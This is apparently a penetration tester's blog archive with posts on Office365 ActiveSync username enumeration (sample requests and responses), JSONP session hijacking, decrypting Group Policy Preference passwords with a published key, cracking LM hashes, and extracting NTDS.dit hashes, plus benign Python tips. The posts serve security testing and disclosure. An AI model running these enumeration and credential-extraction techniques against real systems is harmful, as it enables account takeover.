Category Archives: Tools and Techniques

Posts in this category are about tools and techniques that I find useful during a Penetration Test

Office365 ActiveSync Username Enumeration

TLDR:

There is a simple username enumeration issue in Office365’s ActiveSync, Microsoft do not consider this a vulnerability so I don’t expect they will fix it, I have written a script to exploit this which is available here: https://bitbucket.org/grimhacker/office365userenum

What is ActiveSync?

Exchange ActiveSync in Microsoft Exchange Server lets Windows Mobile powered devices and other Exchange ActiveSync enabled devices to access Exchange mailbox data. Compatible mobile devices can access e-mail, calendar, contact, and task data in addition to documents stored on Windows SharePoint Services sites and Windows file shares. Information synchronized with the mobile devices is retained and can be accessed offline. [https://technet.microsoft.com/en-us/library/aa995986(v=exchg.65).aspx]

What is username enumeration?

Username enumeration is when an attacker can determine valid users in a system.

When the system reveals a username exists either due to misconfiguration or a design decision a username enumeration issue exists.

This is often identified in authentication interfaces, registration forms, and forgotten password functionality.

The information disclosed by the system can be used to determines a list of users which can then be used in further attacks such as a bruteforce – since the username is known to be correct, only the password needs to be guessed, greatly increasing the chances of successfully compromising an account.

The vulnerability

During the assessment of a 3rd party product which utilises ActiveSync, it was noted that the there was a clear response difference between a valid and invalid usernames submitted in the HTTP Basic Authentication Header.

Further investigation revealed that the issue was in fact in Office365 rather than the 3rd party product which was simply acting as a proxy. The domain for Office365’s ActiveSync service is trivial to identify if you have a mobile device configured to use Office365 for email (email app server settings): https://outlook.office365.com

In order to elicit a response from ActiveSync a number of parameters and headers are required, this is described in more detail here: http://mobilitydojo.net/2010/03/17/digging-into-the-exchange-activesync-protocol/

The username enumeration issue exists in the differing response to invalid vs valid usernames submitted in the Authorization header. This request header value consists of the username and password concatenated with a colon (:) separator and Base64 encoded.

The request below contains the following Base64 encoded credentials in the Authorization header: valid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=

This elicits the following response (“401 Unauthorized”) indicating that the username is valid but the password is not:

HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: ab308ea5-9a01-4a1a-8d49-b91b3503e83f
X-CalculatedFETarget: LO1P123CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate,Basic Realm=""
X-FEProxyInfo: LO1P123CA0018.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: LO1P123MB0899.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 401
X-DiagInfo: LO1P123MB0899
X-BEServer: LO1P123MB0899
X-FEServer: LO1P123CA0018
WWW-Authenticate: Basic Realm=""
X-Powered-By: ASP.NET
X-FEServer: VI1PR0101CA0050
Date: Wed, 14 Jun 2017 14:35:14 GMT
Connection: close
<snip>

The request below contains the following Base64 encoded credentials in the Authorization header: invalid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==

This elicits the following response (“404 Not Found” and “X-CasErrorCode: UserNotFound”)indicating that the username is invalid:

HTTP/1.1 404 Not Found
Cache-Control: private
Server: Microsoft-IIS/8.5
request-id: 6fc1ee3a-ec99-4210-8a4c-12967a4639fc
X-CasErrorCode: UserNotFound
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-FEServer: HE1PR05CA0220
Date: Wed, 28 Jun 2017 11:23:03 GMT
Connection: close
Content-Length: 0

By iterating through a list of potential usernames and observing the response, it is possible to enumerate a list of valid users which can then be targeted for further attacks. These attacks may be directly against the authentication, i.e attempting to guess the user’s password to compromise their account, or it may be as part of a social engineering attack e.g sending Phishing emails to known valid users.

It should be noted that this issues requires an authentication attempt and is therefore likely to appear in logs, and has a risk of locking out accounts. However it is also possible that a valid username and password combination will be identified, in which case the response is different depending on if 2FA is enabled or not.

If 2FA is enabled the response is (“403 Forbidden” with title “403 – Forbidden: Access is denied.”):

HTTP/1.1 403 Forbidden
Cache-Control: private
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: 4095f6fa-5151-4699-9ea1-0ddf0cfab897
X-CalculatedBETarget: MM1P123MB0842.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 403
Set-Cookie: <snip>
X-MS-Credentials-Expire: 4
X-MS-Credential-Service-Federated: false
X-MS-Credential-Service-Url: https://portal.microsoftonline.com/ChangePassword.aspx
X-MS-BackOffDuration: L/-480
X-AspNet-Version: 4.0.30319
X-DiagInfo: MM1P123MB0842
X-BEServer: MM1P123MB0842
X-Powered-By: ASP.NET
X-FEServer: DB6PR07CA0008
Date: Fri, 07 Jul 2017 13:11:22 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>403 - Forbidden: Access is denied.</title>
<--snip-->

If 2FA is NOT enabled the response is (“200 OK”):

HTTP/1.1 200 OK
Cache-Control: private
Allow: OPTIONS,POST
Content-Length: 0
Content-Type: application/vnd.ms-sync.wbxml
Server: Microsoft-IIS/8.5
request-id: da269652-6e98-4b49-8f14-ab57e7232b17
X-CalculatedFETarget: MMXP123CU001.internal.outlook.com
X-BackEndHttpStatus: 200
X-FEProxyInfo: MMXP123CA0005.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: MMXP123MB0750.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 200
MS-Server-ActiveSync: 15.1
MS-ASProtocolVersions: 2.0,2.1,2.5,12.0,12.1,14.0,14.1,16.0,16.1
MS-ASProtocolCommands: Sync,SendMail,SmartForward,SmartReply,GetAttachment,GetHierarchy,CreateCollection,DeleteCollection,MoveCollection,FolderSync,FolderCreate,FolderDelete,FolderUpdate,MoveItems,GetItemEstimate,MeetingResponse,Search,Settings,Ping,ItemOperations,Provision,ResolveRecipients,ValidateCert,Find
Public: OPTIONS,POST
X-MS-BackOffDuration: L/-470
X-AspNet-Version: 4.0.30319
X-DiagInfo: MMXP123MB0750
X-BEServer: MMXP123MB0750
X-FEServer: MMXP123CA0005
X-Powered-By: ASP.NET
X-FEServer: AM5P190CA0027
Date: Mon, 24 Jul 2017 09:50:22 GMT
Connection: close

It should be noted that only users with a valid mailbox are considered to be valid users in this context, therefore a domain account may exist which this enumeration would identify as invalid.

I also checked if this issue affected Microsoft Exchange, or if it was limited to Office365. In my testing I found that only Office365 was affected. I reported this issue to Microsoft, however they do not consider username enumeration to “meet the bar for security servicing”, so I do not expect they will fix this issue.

My continuing mission to replace myself with a small script

In order to automate exploitation of this issue I wrote a simple multi threaded python script. It is available here: https://bitbucket.org/grimhacker/office365userenum

When provided a list of potential usernames (username@domain) this script will attempt to authenticate to ActiveSync with the password ‘Password1’. Valid and invalid usernames are logged along with valid username and password combinations (in case you get lucky).

Disclose Timeline

28 June 2017, 13:30: Emailed secure@microsoft.com with a PGP encrypted PDF explaining issue with example HTTP  requests and responses.

28 June 2017, 22:39: Response from Microsoft (note only relevant section of email included below)

“Thank you for contacting the Microsoft Security Response Center (MSRC).  Upon investigation we have determined that these do not meet the bar for security servicing.  In general, username enumeration does not meet the bar as there are many ways to do this and on its own it does not allow an attacker access or control in any way, as the attacker would still need to bypass login.”

29 June 2017, 09:54: Emailed Microsoft stating intention to disclose in a blog post unless they had any serious objections.

24 July 2017: Details and tool disclosed to the public.

Although I do not agree with Microsoft’s determination that username enumeration is not a security vulnerability, I would like to thank them again for their speedy investigation and response to my report.

Loading Dirty JSON With Python

Recently I needed to parse some data embedded in HTML. At first glance it appeared to be JSON, so after pulling the text out of the HTML using BeautifulSoup, I tried to load it using the json module, however this immediately threw an error:

ValueError: Expecting property name enclosed in double quotes: line 1 column 2 (char 1)

This is because,  despite first appearances, the data I was trying  to extract was a python object built from strings, lists, integers, floats, and dictionaries which had been passed to the ‘print’ statement. But it was quite close to JSON so I decided that the best course of action in this instance was to ‘fix’ the data so that I could load it as JSON.

First, as the error above indicates, double quotes are required, not the single quotes mostly (but not always prefixed with a ‘u’  (indicating unicode) which my data had.

After removing these I encountered the error:

ValueError: No JSON object could be decoded

This thoroughly unhelpful error sent me scurrying to Google. Apparently this error is thrown in a variety of situations, but the one relevant to my data was the case of the boolean key words (True and False) in python they are capitalised, but in JSON they need to be lowercase. (This error is also thrown when there are trailing commas in lists).

I used regular expression substitution to implement these alterations. I decided to share these few lines of code for my future self and anyone else who may find it useful. (Note that this worked for my use case, but as soon as exceptions stopped being thrown I moved on. Therefore it may not be a robust or complete solution. You have been warned.)

import re
import json

def load_dirty_json(dirty_json):
    regex_replace = [(r"([ \{,:\[])(u)?'([^']+)'", r'\1"\3"'), (r" False([, \}\]])", r' false\1'), (r" True([, \}\]])", r' true\1')]
    for r, s in regex_replace:
        dirty_json = re.sub(r, s, dirty_json)
    clean_json = json.loads(dirty_json)
    return clean_json

Cracking LM Hashes with Ophcrack – No GUI

Believe it or not, despite the fact it is 2016 I am still finding LanManager (LM) hashes on internal networks during penetration tests.

Although in my experience it is becoming more frequent that LM hashing has been disabled, and the hashes I am finding are for accounts that have not had their password changed since that time and therefore still have the password stored in this weakly protected format.

The LM hash format is weak because the maximum password length it can support is 14, password is uppercased, split into two 7 character chunks and then hashed separately. (Note this is not really accurate, but it is sufficient for this post. See here for an accurate description of the LM ‘hashing’ scheme.)

If you find (or are informed) that you have LM password hash storage, you should prevent Windows from storing a LM hash and change all account passwords the number of times required by the password history account option to completely purge the previous LM hashes.

I often use John the Ripper to crack a wide variety of hashes, however the weaknesses in the LM hash format have allowed Rainbow Tables (aka Lookup Tables) to be created which allow rapid recovery of the plain text password. Ophcrack an industry favourite tool to crack LM hashes using rainbow tables, I prefer to use it without the GUI in order to decrease the amount of resources it requires – in fact I have recently started running it on a server I have built for password cracking which does not have a GUI environment so command line usage is a must.

Since I pretty much always use the same options for Ophcrack I have created a simple bash function to which I can pass the pwdump file containing the hashes I need to crack. It is not pretty, but I have decided to share it in the hope that it will be of some use to others and my future self.

ophcracklm () {
 log=$(echo $1.log)
 outfile=$(echo $1.cracked)
 session=$(echo $1.ophcracklm_session)
 (set -x; ophcrack -g -v -u -n 7 -l $log -o $outfile -S $session -d /path/to/ophcrack_tables/ -t xp_free:xp_special -f $1)
}

This bash function will create log, output file, and session file names based on the hash file name passed on the command line, enable debugging mode in a sub shell of bash, and run ophcrack with the following options:

-g disable GUI
-v verbose output
-u display statistics when cracking ends
-n number of threads (I have this set to 7 for my machine, you may need to change it to suit)
-l log all output to the file name created based on the input file name
-o output cracked hashes, in the pwdump format, to the file name created based on the input file name
-S save progress of the search to the file name created based on the input filename
-d base directory containing the tables
-t tables to use separated by colons
-f the file to load the hashes from (I am passing the second command argument, the first contains the script name, the second is the first parameter)

Note that I am using bash’s debug output in order to echo the command that will be executed, and I am doing this in a subshell because it is automatically reverted.


As always, if you have any questions, comments or suggestions please feel free to get in touch.

Exploiting JSONP

JavaScript Object Notation with Padding (JSONP) is a technique created by web developers to bypass the Same Origin Policy which enforced by browsers to prevent one web application from retrieving information from others. JSONP takes advantage of the fact that in the eyes of the browser not all resources are created equal -JavaScript, images and a few other types can be loaded cross domain.

In order to pass data cross domain JSONP “smuggles” it within JavaScript and utilities a callback. i.e. The receiving domain includes a script tag with the source attribute set to a specific URL of the sending domain. This script from the sending domain contains the data that needs to be sent cross domains and passes it to a function of the receiving domain. The function on the receiving domain will parse data and use it as required.

While this all sounds perfectly innocent, it easily becomes a security vulnerability when you remember that it is often sensitive data that is passed between domains, for example session tokens, and since it is abusing the behavior of the Same Origin Policy there is no built in or standardized security mechanism which may be used to ensure the receiving domain is the intended one.

Depending on the exact usage of JSONP, the vulnerability may result in sensitive information disclosure, Cross Site Scripting, Cross Site Request Forgery, only Reflected File Download. I have most often seen JSONP being used to implement a Single Sign On system, therefore if sufficient validation of the receiving domain is not performed exploitation results in session hijacking or account take over.

In the simplest instance, no validation is performed an exploitation is as simple as including the script from the sending domain within the attacker’s site and persuading a user of the sending application to visit the attacker’s site.

However there are more complex instances where the web developer has attempted to prevent the data being passed to malicious domains. This can take a variety of forms but is often incomplete whether on the client side or the server side.

Anonymous Case Study

On a recent web application test I encountered a single sign on system utilising JSONP and enforcing server side checks on the HTTP Referer header before returning the script containing the session token, and the script itself performed client side checks on the document.domain attribute before passing the token to the JavaScript function. However both of these pieces of validation were flawed and therefore it was possible to hijack the user’s session, and with further work I believe it would have resulted in full account takeover.

The server side validation consisted of a check of the requesting domain against a Regular Expression, however as is often the case the developers overlooked the fact that “.” in Regular Expressions is a wild card. Therefore although the developer only intended to allow “www.somedomain.co.uk” the wild card meant that “wwwXsomedomainXcoXuk” would pass validation (I also identified that any subdomain was allowed i.e “XXXX.wwwXsomedomainXcoXuk”) – however remember it also had to be a valid domain, so the final dot needed to be an actual dot – obviously there were many domains that could be registered to meet these requirements.

The client side validation was significantly more unusual, it consisted of a CRC32 hash of the document.domain and comparing it to a list of approved values. However due to the limited size of the hash (32 bits) it is a mathematical certainty that multiple domains exist that would result in the same hash and therefore pass validation.

In order to exploit this usage of JSONP
I needed to pass both the server and client side validation. To do this I decided to write a Python script to iterate through all the permutations that would pass the Regular Expression in order to identify one that would also pass the CRC32 validation. (Unfortunately this script cannot be released at this time, but I hope to share it in the future as it could be useful to others).

It took over 1.6 billion permutations, but I eventually identified a valid domain and was able register it and exploit the flawed JSONP validation to hijack a user’s session.

Defense

JSONP should no longer be used as HTML5 features like CORS and PostMessage are available with well defined security mechanisms, however these also require careful validation of the “origin” to prevent the data being passed to unauthorised domains.


As always, if you have any comments or suggestions please feel free to get in touch.

How to find the Windows DNS style Domain Name

A common requirement on internal network assessments is to know the fully qualified Windows domain name of the network. This is trivial to obtain if using DHCP.

On Linux like systems simply:

cat /etc/resolv.conf

The domain name is in the ‘domain’ or ‘search’ field.

On Windows you can see the domain name in the Network Settings accessible from the system tray on in the ‘DNS suffix’ section of the output of:

ipconfig

However if for whatever reason you are not using DHCP these methods are less likely to work. But it is possible to get the domain name by querying a host on the network. My preferred method of doing this is, of course, python:

import socket
socket.gethostbyaddr("ip_addr")

Where ip_addr is any live host on the network, the DNS server I act as pot of thestatic configuration is what I usually use. This function returns the full qualified domain name, a list of aliases (commonly the NetBIOS  name), and the IP address of the remote host. Everything after the first ‘.’ in the FQDN is the DNS style Windows Domain Name. E.g. if the FQDN of the host is:

dnsserv1.corp.ad.company.com

the domain name would be:

corp.ad.company.com

There are other methods that may be used to identify the legacy -but ubiquitous – NetBIOS style Windows Doman Name which I will save for a future post.

This information can then be used to identify the Windows Domain Controllers, which I will also describe in a later post.

GP3Finder – Group Policy Preference Password Finder

Group Policy preferences were introduced by Microsoft in Windows 2008 allowing administrators to configure unmanaged settings (settings which the user can change) from a centrally managed location – Group Policy Objects (GPO) [1].

Among the preference items configurable through Group Policy preferences are several that can contain credentials: Local Groups and User Accounts, Drive Mappings, Schedule Tasks, Services, and Data Sources.

These credentials are stored within the preference item in SYSVOL in the GPO containing that preference item. In order to obscure the password from casual users it is encrypted in the XML source code of the preference item [2]. However anyone who gains access to SYSVOL can decrypt the passwords because Microsoft published the Advanced Encryption Standard (AES) encryption key [1]:

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

Microsoft addressed this issue in MS14-025 [4] however this update only prevented the creation of new Group Policy Preference items containing credentials; it did not remove any existing instances as this was considered too disruptive. Therefore network administrators must take action to find and remove these vulnerable items.

Several tools exist to exploit this vulnerability including:

Get-GPPPassword (PowerShell – http://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html)

gpp (Metasploit Post Module – http://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp)

gpprefdecrypt.py (Python – http://esec-pentest.sogeti.com/public/files/gpprefdecrypt.py)

gpp-decrypt-string.rb (Ruby – http://carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html)

However each of these existing tools have a significant weakness. Get-GPPPassword must be run from a Windows machine, the gpp Metasploit post module requires a meterpreter session, gpprefdecrypt.py and gpp-decrypt-string.rb require you to manually extract the cpassword for decryption, and finally the version of gpprefdecrypt.py available for download no longer works at the time of writing (due to an update to PyCrypto that removed the default iv of 16 bytes of zeros).

I therefore wrote a new cross platform tool, dubbed GP3Finder (Group Policy Preference Password Finder), to automate the process of finding, extracting and decrypting passwords stored in Group Policy preference items. This tool is written in Python (2.7) and depends on PyCrypto and PyWin32 on Windows or subprocesses on *nix based operating systems.

GP3Finder has been released open source under the GPL2 license here a compiled executable for Windows is also available here.

Update v4.0

On a recent test I had compromised a single Windows host and had remote desktop access as a low privilege user. Since I couldn’t map the C$ share remotely, and didn’t want to search through the dozens of Group Policy Preference items using built in Windows utilities, I quickly added the functionality to gp3finder instead.

Note: Group Policy Preferences are cached locally under the (hidden) directory: “C:\ProgramData\Microsoft\Group Policy\History\” by default.

In this update I also add the option to specify the start path when searching a remote share. This allows you to quickly search for Group Policy Preference passwords when you have access to the C$ share without searching the entire drive.

Another significant change is that you can now specify multiple hosts to search – ideal if you have access to C$ on a number of hosts and want to check all of them. Note, this functionality is not threaded (yet) so can take some time to complete.

Finally I have changed some of the command line options to ensure they are as intuitive as possible (see below or –help).

Example Usage

Decrypt a given cpassword:

gp3finder.py -D CPASSWORD

The following commands output decrypted cpasswords (from Groups.xml etc) and list of xml files that contain the word ‘password’ (for manual review) to a file (‘gp3finder.out’ by default, this can be changed with -o FILE).

Find and decrypt cpasswords on domain controller automatically:

gp3finder.py -A -t DOMAIN_CONTROLLER -u DOMAIN\USER
 Password: PASSWORD

Maps DOMAIN_CONTROLLER’s sysvol share with given credentials.

Find and decrypt cpasswords on the local machine automatically:

gp3finder.py -A -l

Searches through “C:\ProgramData\Microsoft\Group Policy\History” (by default) this can be changed with -lr PATH

Find and decrypt cpasswords on a remote host:

gp3finder.py -A -t HOST -u DOMAIN\USER -s C$ -rr "ProgramData\Microsoft\Group Policy\History"

Find and decrypt cpasswords on hosts specified in a file (one per line):

gp3finder.py -A -f HOST_FILE -u DOMAIN\USER -s C$ -rr "ProgramData\Microsoft\Group Policy\History"

Note: the user this script is run as must have permission to map/mount shares if running against a remote host.

Additional options are available:

gp3finder.py --help

References

[1] [Online]. Available: http://www.microsoft.com/en-us/download/details.aspx?id=24449).
[2] [Online]. Available: http://blogs.technet.com/b/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx.
[3] [Online]. Available: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx.
[4] [Online]. Available: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx.


 

As always, if you have any comments or suggestions please feel free to get in touch.

Raw HTTP Requests to Burp Proxy

On a recent Web application test I encountered a new challenge. The Web application presented a Web API intended to be used by a mobile application, in order for developers to utilise this API the documentation was also served from the Web application.

In order to assess each API function for vulnerabilities I first had to build valid requests from the documentation and then get them into my Web assessment tool of choice Burp Suite Pro.

It would have been possible to accomplish this by reading the documentation and patiently typing the raw HTTP request into Burp repeater. However with over thirty API functions to test and a tight schedule this was not a viable option. I therefore decided to script it.

The first step was to download all of the HTML documentation and parse each page to extract the HTTP method, path, example URL parameters, and, if present, the example body parameters. Using this information I built raw HTTP requests which I stored in text files. (As this first script is quite specific to the client’s application I will not be releasing it at this time).

With a directory full of raw HTTP requests it was time to import them into Burp and start testing proper. However I could not find any method of importing my raw HTTP requests into Burp other than manually copying and pasting them into repeater, an achievable task with the relatively small number of functions I had to test in this instance but a chilling prospect for future, larger tests.

After a coffee I had the idea to simply send the raw HTTP request through Burp by sending them from a Web client with a proxy configured. Since the requests had a variety of HTTP methods and body parameters a Web browser wasn’t an option. I briefly tried using telnet and netcat but these failed for some reason I haven’t identified. I also tried using curl, but this required further processing to issue the request using the curls’s command line options. I therefore turned back to Python and wrote a script to read files from a directory, then for each file: parse them into an object (using BaseHttpRequestHandler), build a request using urllib2 and send this via a proxy.

This resulted in the HTTP request being stored in Burp ready for assessment like any normal request to a Web application – visible in the site map, proxy history and easily sent to Intruder, Repeater, Scanner and Sequencer.

I’ve released this script under the GPLv2 licence in the hope that it will be useful to others, it is available here.

Example Usage

Parse one or more files and send via the default proxy (127.0.0.1:8080):

raw2proxy.py -f FILENAME FILENAME...

Parse a directory of files and send via a proxy running on 192.168.0.1 port 9001:

raw2proxy.py -d DIRECTORY -p 192.168.0.1:9001

Additional options are available:

raw2proxy.py --help

As always, if you have any comments or suggestions please feel free to get in touch.

Python Script to Standalone Executable (with Icon)

When releasing tools, and proof of concepts, to the industry and more often to clients, I find I need to provide a standalone executable that can be run without installing Python and any required modules.

To accomplish this I use py2exe . While other options exist (for example pyinstaller) personally I have found py2exe quicker and easier to use once a few stumbling blocks were overcome. I therefore decided to write a short post describing how I setup and use py2exe for when laptop rebuild time comes around and in the hope it will be useful to others.

First, at the time of writing, py2exe does not support creating a single executable using 64 bit Python, throwing the error:

error: bundle-files 1 not yet supported on win64

So step 1 is to install 32 bit Python (being careful not to overwrite your existing 64 bit installation) and 32 bit versions of any non standard library modules that are required by your script.

Next you need to install py2exe itself. The project home page points to the SourceForge project page. Ensure you download the 32 bit version for the version of Python you have installed.

Now you are ready to create the script that will create your standalone executable. There are many options available, but I find the following minimal script very effective. This script will create a single executable (‘bundle_files’) for script.py.

from distutils.core import setup
import py2exe, sys

sys.argv.append('py2exe')

setup(
        options = {
                    'py2exe': {'bundle_files': 1,
                               'compressed': True
                              }
                  },
        console = [{
                    'script': "script.py"
                  }],
        zipfile = None,
)

The one additional option I sometimes use is to add a custom icon to the executable. To do this I first create my icon image (256×256 pixels) in an image editor and export the required sizes (16×16, 32×32, 48×48, 256×256) in the png image format. I then use png2ico to create a .ico file, note the order in which you add the different size images is important it must be largest to smallest otherwise the icon may not be displayed at all! i.e:

png2ico favicon.ico icon_256.png icon_48.png icon_32.png icon_16.png

With the icon (favicon.ico) created the following script can be used to turn script.py into a standalone executable with an icon.

from distutils.core import setup
import py2exe, sys

sys.argv.append('py2exe')

setup(
        options = {
                    'py2exe': {'bundle_files': 1,
                               'compressed': True
                              }
                  },
        console = [{
                    'script': "script.py",
                    'icon_resources': [(0, 'favicon.ico')]
                  }],
        zipfile = None,
)

Once the setup.py script above has been written, the standalone executable can be created simply by running it using your 32 bit Python installation (my 32 bit installation is at ‘C:\Python27_x86\python’):

C:\Python27_x86\python setup.py

By default the executable will be created in the “dist” directory.


As always, if you have any comments or suggestions please feel free to get in touch.

Esedbxtract

TLDR: Python script to automate the extraction of hashes from ntds.dit and system files. Available here : https://bitbucket.org/grimhacker/esedbxtract.

During an internal Penetration Test, once I’ve gained Domain Administrator access the fun doesn’t stop. In order to test the strength of user account passwords I need to retrieve the password hashes.

There are several ways to do this with either specialist tools or builtin Windows utilities as  @lanjelot discusses here and Inquis discusses here and here.

My preferred method is to use Volume Shadow Copy to extract a copy of the NTDS.dit and SYSTEM files, since this is an administrative task carried out with Windows utilities it does not normal cause alerts or require the Antivirus to be disabled – as is the case with some of the other options.

Once I have these files on my Kali box I use esedbexport from libesedb to export the data and link tables, these tables are used with the SYSTEM file by ntdshashes.py (available here by LaNMaSteR53 based on ntdsusers.py from ntdsxtract) to get the hashes.

This method can take a long time if the Active Directory is very large, but at this point during the assessment I’m not usually in a rush, it is less intensive on the domain controller, and it doesn’t panic the IT staff of the organisation with alerts.

There are a few reasons why I wrote a script to automate the extraction of the hashes from the NTDS.dit and SYSTEM files.

First and foremost, it’s a multi step process that doesn’t actually require any brain power – just for the output of one tool to be fed into another in the correct way. Writing a script to do this means that time isn’t wasted waiting for me to come back to it between each step. And of course it is another success for my continuing mission to replace myself with a small script…

Second ntdshashes.py didn’t work with the the latest version of ntdsxtract when I last rebuilt my machine (because a ntdsxtract added a new required working directory parameter). I patched the script (and raised an Issue on the repository) but decided it wouldn’t take much work to rewrite it as a class and include it in a larger tool.

Finally I hadn’t played with calling external programs as a subprocess in python before and this seemed like a reasonable excuse.

The result is esedbxtraxt.py available on BitBucket: https://bitbucket.org/grimhacker/esedbxtract.

Dependencies are stated in the README.

Normal usage will result in the password hashes being written to ‘hashes.pwdump’:

python esedbxtract.py -n /path/to/NTDS.dit -s /path/to/SYSTEM

Use ‘–help’ or see the README for further options.


As always, if you have any questions, comments or suggestions please feel free to get in touch.

 

Bitfields

I recently had need to interpret bitfields with Python.
I’m quite happy with the 3 lines of code that I came up with so I thought I’d share them in case they are of use to anyone else.

Bitfields are basically a binary number where each bit is assigned a meaning which can either have a value of True ‘1’ or False ‘0’.
Usually they are interpreted using bit shifting and bitwise AND operations but this seemed to be quite involved to get the data into a usable form so I found another way.

Consider the pwdProperties attribute from Active Directory (http://msdn.microsoft.com/en-us/library/ms679431(v=vs.85).aspx) which contains several settings for the account as a bitfield which can be retrieved using an LDAP query.

Each of the bits of this attribute mean the following:
1st bit = DOMAIN_PASSWORD_COMPLEX
2nd bit = DOMAIN_PASSWORD_NO_ANON_CHANGE
3rd bit = DOMAIN_PASSWORD_NO_CLEAR_CHANGE
4th bit = DOMAIN_LOCKOUT_ADMINS
5th bit = DOMAIN_PASSWORD_STORE_CLEARTEXT
6th bit = DOMAIN_REFUSE_PASSWORD_CHANGE

So if the pwdProperties attribute has a value of 17 in decimal, which equals 010001 in binary, the 1st and 5th bits (from the right) are set to 1 indicating that the domain requires complex passwords and stores passwords in cleartext.

Using python-ldap this attribute is returned in a dictionary as a decimal number represented as a string within a list, i.e.

attrs = {'pwdProperties': ['17']}

So the first step is to extract the string of the number and convert it to an integer:

pwd_properties = int(attrs['pwdProperties'][0])

Next the decimal number is converted to a string representation of the binary number with left 0 padding to the correct length:

pwd_properties = format(pwd_properties, "06b")

Then the binary number string is split into a list:

pwd_properties = list(pwd_properties)

For my purposes I needed the bitfields to be represented as a boolean. To do this a the string replace() method is used to replace instances of ‘0’ with an empty string and then the bool() function is used to convert the result to either True or False while iterating over the list. (Note when dealing with strings an empty string is False and everything else is True).

bitfield_values = [bool(w.replace('0', '')) for w in pwd_properties]

Next a list containing the meaning of each bit is defined (make sure you have them in the correct order to match the bits) :

bitfield_keys = ['refuse_password_change', 'password_store_cleartext', 'lockout_admins', 'password_no_clear_change', 'password_no_anon_change', 'password_complex']

The two lists can then be formed into a list of tuples using zip() which is then used to create a dictionary using dict() :

pwd_properties = dict(zip(bitfield_keys, bitfield_values))

Finally this can all be condensed into :

bitfield_keys = ['refuse_password_change', 'password_store_cleartext', 'lockout_admins', 'password_no_clear_change', 'password_no_anon_change', 'password_complex']
bitfield_values = [bool(w.replace('0', '')) for w in list(format(int(attrs['pwdProperties'][0]), '06b'))]
pwd_properties = dict(zip(bitfield_keys, bitfield_values))

Resulting in a dictionary like this:

{'password_store_cleartext': True,
'password_no_anon_change': False,
'lockout_admins': False,
'refuse_password_change': False,
'password_no_clear_change': False,
'password_complex': True}

A limitation of this method is that it is not easy to go from the resulting dictionary back to the bitfield because a dictionary in Python is unordered. This can probably be overcome by using an ordered dictionary from the collections module. However for my current purpose there is no advantage to implementing this.

EDIT:
I have been mulling this over and come up with the following line to convert the dictionary back to a binary number :

int("{refuse_password_change}{password_store_cleartext}{lockout_admins}{password_no_clear_change}{password_no_anon_change}{password_complex}".format(**pwd_properties).replace('True', '1').replace('False', '0'), 2)

This is probably horribly inefficient due to the string replacement, but it works.
It takes advantage of unpacking and referencing keyword arguments to form a string with the values in the correct order, then replaces the strings ‘True’ and ‘False’ with ‘1’ and ‘0’ respectively before using the int() function to convert the string base 2 number (i.e. binary) to a decimal number.

It might be more efficient to avoid string replacement like this :

int("{refuse_password_change}{password_store_cleartext}{lockout_admins}{password_no_clear_change}{password_no_anon_change}{password_complex}".format(**dict(zip(pwd_properties.keys(), ['1' if pwd_properties[key] == True else '0' for key in pwd_properties.keys()]))), 2)

This recreates the dictionary with ‘1’ and ‘0’ by testing each key for True. Then takes advantage of unpacking and keyword arguments to get the bits in the correct order, before converting to a decimal number using int().

At some point I’ll time these two methods to find which is more efficient and update this post.


As always, if you have any comments or suggestions please feel free to get in touch.